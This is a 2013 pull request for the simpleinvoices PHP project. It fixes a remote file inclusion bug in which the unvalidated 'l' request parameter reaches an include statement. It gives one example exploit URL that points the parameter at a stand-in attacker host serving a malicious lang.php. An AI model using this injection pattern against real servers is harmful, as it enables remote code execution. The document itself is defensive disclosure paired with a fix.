simpleinvoices/simpleinvoices — pull request #150 by KyraD (2013-11-25 08:43:11+00:00)
Title: Fix Remote File Inclusion Vulnerability

$_REQUEST['l'] allows any value so a malicious value inserted into 'include "$lang_cmp/lang.php";' will allow an attacker to run arbitrary PHP code on server. For example http://si_domain.com/lang/lang_insert.php?l=http://attacker.com where in their domain root they have a file called lang.php with whatever code they want. I removed trim() as it's not needed due to the strict validation.